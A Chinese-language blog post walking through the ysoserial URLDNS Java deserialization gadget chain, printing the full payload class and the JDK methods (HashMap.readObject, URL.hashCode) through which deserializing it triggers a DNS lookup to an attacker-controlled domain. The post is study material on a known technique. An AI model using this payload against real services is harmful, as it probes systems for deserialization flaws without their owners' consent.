Post_urldns

Intro

比起之前的分析,更多的是在解答我自己的一些疑惑。


core code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
@PayloadTest(skip = "true")  
@Dependencies()  
@Authors({ Authors.GEBL })  
public class URLDNS implements ObjectPayload<Object> {  
  
        public Object getObject(final String url) throws Exception {
		        URLStreamHandler handler = new SilentURLStreamHandler();    
                HashMap ht = new HashMap(); 
                URL u = new URL(null, url, handler); 
                ht.put(u, url);
                Reflections.setFieldValue(u, "hashCode", -1);
                return ht;  
        }  
  
        public static void main(final String[] args) throws Exception {  
                PayloadRunner.run(URLDNS.class, args);  
        }  
  
        static class SilentURLStreamHandler extends URLStreamHandler {  
                protected URLConnection openConnection(URL u) throws IOException {  
                        return null;  
                }  
  
                protected synchronized InetAddress getHostAddress(URL u) {  
                        return null;  
                }  
        }  
}

Class SilentURLStreamHandler

  1. 是继承自URLStreamHandler的一个类
    1. 改写了openConnection和getHostAddress方法——防止在后续的URL 实例u初始化的阶段进行DNS Lookup。
  2. 继承类这一点也很关键,在后续的反序列化漏洞触发中,利用其继承自URLStreamHandler的性质,调用其hasjcode函数触发预期的dns lookup。

Method getObject

  1. public class URLDNS implements ObjectPayload<Object>这里需要注意
    1. 该方法是对Objectpayload<Object>所包含的getObject方法的具体实现。
    2. 进一步来说,ObjectPayload<T>其实是一个泛型接口,通过URLDNS这里的具体代码来实现一个适用于URLDNS的getObject方法。
  2. 另外需要理解的是,这是一个getObject方法,在这个项目中,在GeneratePayload.java中作为返回含有恶意代码的Object进行下一步序列化操作的方法。
  3. 在URLDNS中,该方法接收的输入是一个String,最终返回的是一个HashMap

截取片段:

1
2
3
4
5
6
try {  
    final ObjectPayload payload = payloadClass.newInstance();  
    final Object object = payload.getObject(command);  
    PrintStream out = System.out;  
    Serializer.serialize(object, out);  
    ObjectPayload.Utils.releasePayload(payload, object);

Steps

依照getObject方法中的顺序来进行步骤分析

需要阅读很多源码才能懂这个有多么好玩


handler

在前面已经说过,这是一个为了避免出现初始化过程中的DNS Lookup的特殊handler

  • 至于为什么要防止初始化的时候出现DNS Lookup
    • 因为用该攻击链条一般是用来向受控的DNS Server发送查询,检查是否存在反序列化漏洞的,在构造命令的时候,输入的String就是受控的Server的域名,如果初始化的时候就查询了,后续就可能会出现,直接使用本地DNS缓存而不是发出查询来进行连接的问题。
  • 关于为什么后面又可以DNS Lookup
    • 因为后面用的是URLStreamHandler.hashCode()来触发
    • 初始化URL u的时候,使用的是构造函数,里面也会计算hashCode,不过在后面的setFiledValue中,被重置了,作为触发的入口。

说到这里感觉这个东西不是一个可以线性叙述的东西,我需要一个环形蛇。


HashMap ht

这里只有一个需要关注的——为什么用HashMap 不过我没有找Map和HashMap来对比。

  • answer in a aspect:
    • 从HashMap的反序列化来看,readObject方法中关于读取key和value的时候涉及的putVal——>hash——>key.hashCode是需要利用的
    • put方法可以将URL u和String url放进去, //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.这句话就简洁明了。

Reflections.setFieldValue

自定义的类,但主要就是将Field类的一些方法进行了封装,和java的反射进行了一些结合。

Reflections.setFieldValue(u, "hashCode", -1);重置了URL u这个实例的hashcode的值为-1。 如果对这个FieldValue感到困惑,可以试试SerializationDumper

通过SerializationDumper将序列化过的Person person = new Person("Wonie", 20);的数据流可视化,如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
  TC_OBJECT - 0x73
    TC_CLASSDESC - 0x72
      className
        Length - 38 - 0x00 26
        Value - com.example.dollar.drug.Example$Person - 0x636f6d2e6578616d706c652e646f6c6c61722e647275672e4578616d706c6524506572736f6e
      serialVersionUID - 0x00 00 00 00 00 00 00 01
      newHandle 0x00 7e 00 00
      classDescFlags - 0x02 - SC_SERIALIZABLE
      fieldCount - 2 - 0x00 02
      Fields
        0:
          Int - I - 0x49
          fieldName
            Length - 3 - 0x00 03
            Value - age - 0x616765
        1:
          Object - L - 0x4c
          fieldName
            Length - 4 - 0x00 04
            Value - name - 0x6e616d65
          className1
            TC_STRING - 0x74
              newHandle 0x00 7e 00 01
              Length - 18 - 0x00 12
              Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
      classAnnotations
        TC_ENDBLOCKDATA - 0x78
      superClassDesc
        TC_NULL - 0x70
    newHandle 0x00 7e 00 02
    classdata
      com.example.dollar.drug.Example$Person
        values
          age
            (int)20 - 0x00 00 00 14
          name
            (object)
              TC_STRING - 0x74
                newHandle 0x00 7e 00 03
                Length - 5 - 0x00 05
                Value - Wonie - 0x576f6e6965

另一个简单的理解,

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
static class Person implements Serializable{  
    private static final long serialVersionUID = 1L;  
    private String name;  
    private int age;  
  
    public Person(String name, int age) {  
        this.name = name;  
        this.age = age;  
    }
}

这个里面的name和age都是Person类的FieldName,其值就是FieldValue。

一个绝对会有的问题:为什么要设置成-1?

URL.hashCode()方法中

1
2
3
4
5
6
7
8
public synchronized int hashCode() {
        if (this.hashCode != -1) {
            return this.hashCode;
        } else {
            this.hashCode = this.handler.hashCode(this);
            return this.hashCode;
        }
    }

当hashcode = -1的时候,触发handler.hashCode(),

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
protected int hashCode(URL u) {
        int h = 0;
        String protocol = u.getProtocol();
        if (protocol != null) {
            h += protocol.hashCode();
        }

        InetAddress addr = this.getHostAddress(u);
        String file;
        if (addr != null) {
            h += addr.hashCode();
        } else {
            file = u.getHost();
            if (file != null) {
                h += file.toLowerCase().hashCode();
            }
        }
        ....省略

到这里其实也就差不多结束了。


总结

因为是反序列化的时候触发的,HasMap的readObject方法中有一个hash方法,该方法作为入口

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
        ...省略
					//重点在这里:
                    for(int i = 0; i < mappings; ++i) {
                        K key = s.readObject();
                        V value = s.readObject();
                        //HERE
                        this.putVal(hash(key), key, value, false, false);
                ...省略
    }

该hash又涉及到key.hashCode

1
2
3
4
static final int hash(Object key) {
        int h;
        return key == null ? 0 : (h = key.hashCode()) ^ h >>> 16;
    }//如果是null返回0,不是就进行下一步

最后来到

1
2
3
4
5
6
7
8
public synchronized int hashCode() {
        if (this.hashCode != -1) {
            return this.hashCode;
        } else {
            this.hashCode = this.handler.hashCode(this);
            return this.hashCode;
        }
    }

因为通过setFieldValue修改了hashCode = -1,所以就会进一步触发DNS lookup。


番外

用这个做了点实验,

cmd

结果如下

result

不过在windows上却不成功。还没有检查是为什么。


ENDENDEND

Licensed under CC BY-NC-SA 4.0
comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy